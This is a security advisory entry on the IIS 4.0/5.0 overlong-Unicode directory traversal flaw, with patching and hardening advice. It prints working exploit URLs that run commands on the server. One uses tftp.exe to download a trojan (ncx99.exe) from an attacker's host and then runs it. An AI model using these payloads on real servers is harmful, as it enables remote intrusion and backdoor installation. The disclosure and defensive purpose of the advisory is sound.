COMMAND

    IIS 4, 5

SYSTEMS AFFECTED

    IIS

PROBLEM

    Following is based on  a Securax-SA-06 Security Advisory.   Please
    read following to understand the issue:

        http://oliver.efri.hr/~crv/security/bugs/NT/iis78.html

    As mentioned  in other  advisories, remote  users can  execute any
    command  on  several  IIS  4.0  and  5.0 systems by using overlong
    unicode representations for ../   What are these overlong  unicode
    representations?     Unicode   v2.0   allows   multiple   encoding
    possibilities for each character, for instance:

        2f
        c0 af
        e0 80 af
        f0 80 80 af
        f8 80 80 80 af
        fc 80 80 80 80 af

    ... are all some of the possible representations for "/".  A  good
    unicode decoder  should disallow  all representations  with a  hex
    value larger  then the  smallest possible  representation to avoid
    problems with filtering.

    This is where things go wrong  in IIS4.0 and 5.0, IIS first  scans
    the given url for ../ and ..\ and for the normal unicode of  these
    strings, if those are found, the string is rejected, if these  are
    not found, the string will be decoded and interpreted.  IIS  first
    filtering and then decoding can be derived from the differences in
    error.log and acces.log  when it comes  to handling encoded  urls.
    Since the filter  does NOT check  for the huge  amount of overlong
    unicode representations of ../ and ..\ the filter is bypassed  and
    the directory traversalling routine  is invoked.  Until  now, only
    servers that have the /wwwroot/  dir on the same partition  as the
    as the WINNT dir seem to be vulnerable.

    The only reason IIS will  reject the URL is when  you canonicalize
    past the root  directory, in which  case there is  no directory it
    could possibly match with.

    (Although  it  is  noticed  that  for  some  reason if an inactive
    /Inetpub/wwwroot/ exists on the c: drive, you will be able to  run
    commands  even  if  the  active  wwwroot  is  on  the  d:   drive)
    Exploiting this bug  is quite easy,  but using pipes  (>|<) always
    causes a  500 server  error, without  these quotes,  we cannot use
    interactive  standard  NT  executables  like  ftp or telnet or, by
    using ftp.exe  < script  and we  cannot create  files with  custom
    contents  by  using  echo  "blah  blah"  >  filename.  Thus we are
    limited to viewing, deleting  and copying files, not  changing the
    contents of files or running our very own trojan.

    Anonymous, remote ( IUSR_xxxxx ) users can view, copy, delete,  md
    and  issue  other  non-ACL  protected  commands from their browser
    windows.   The possibilities  even include  uploading trojans  and
    other hostile codes, viewing .asp files, ...

    By using tftp.exe that comes  with NT and win2k by  connecting and
    downloading  a  trojan  from  a  tftp  daemon you can bypass these
    restrictions.   Install    ftp://ftp.cavebear.com/karl/tftpd32.zip
    and connect from your compromised to your local machine using  the
    command

        tftp.exe -i xxx.xxx.xxx.xxx GET ncx99.exe

    You van do so wiith this url:

        /[bin-dir]/..%c0%af../winnt/system32/tftp.exe+"-i"+xxx.xxx.xxx.xxx+GET+ncx99.exe+c:\winnt\system32\ncx99.exe

    then all you have to do is run the trojan with:

        /[bin-dir]/..%c0%af../winnt/system32/ncx99.exe

    You might also  use the samba  commands: "net share  and net user"
    on the target and "net use" on the local machine... but this  does
    not always seem to work. (coz. netbios is not installed?)

SOLUTION

    Microsoft only  supports 16-bit  UCS2 rather  than the  full UCS4.
    Therefore, it only supports UTF8 up to 3-bytes long (i.e.  e080af,
    but not f08080af).  This was tested on IIS4, so it is a guess  the
    same applies  to IIS5.   It likewise  applies to  IExplore 5.5 and
    Netscape 4.7, though Netscape 6 supports the full UTF8.  (I.e.  on
    Netscape  4,  fc80808080af  decodes  to  gibberish,  but   decodes
    correctly on Netscape 6 to a '/' character).

    This *should* get patched asap, since a lot of servers seen to  be
    vulnerable.   The possibilities  on this  exploit are  bigger than
    meets the  eye, and  we all  had our  share of  warnings when  the
    msadc exploded in  our faces.   This vulnerability is  serious, so
    patch this as soon as possible.

    WinNT hardening note: get rid of the TFTP.EXE client (and  FTP.EXE
    client while  you are  at it).   These were  heavily used  for the
    RDS/MDAC/RDO exploit as  well.  While  you are at  it, remember to
    remove IUSR_xxx  privileges on  the system32  directory and rename
    C:\WINNT to some  other directory name  (e.g.  C:\MYWINNT)  [Note:
    'rename'  is  a  bad  word:  you  can  only  name the directory at
    install  time;  so  install  it  that  way  in  the  first place].
    Finally, note  that every  default installation  of RedHat  Linux,
    Solaris, and WinNT+IIS ever shipped  has been vulnerable.  If  you
    don't  spend  the  time  hardening  the  system  (any  system) and
    keeping up with security updates, you will regret it.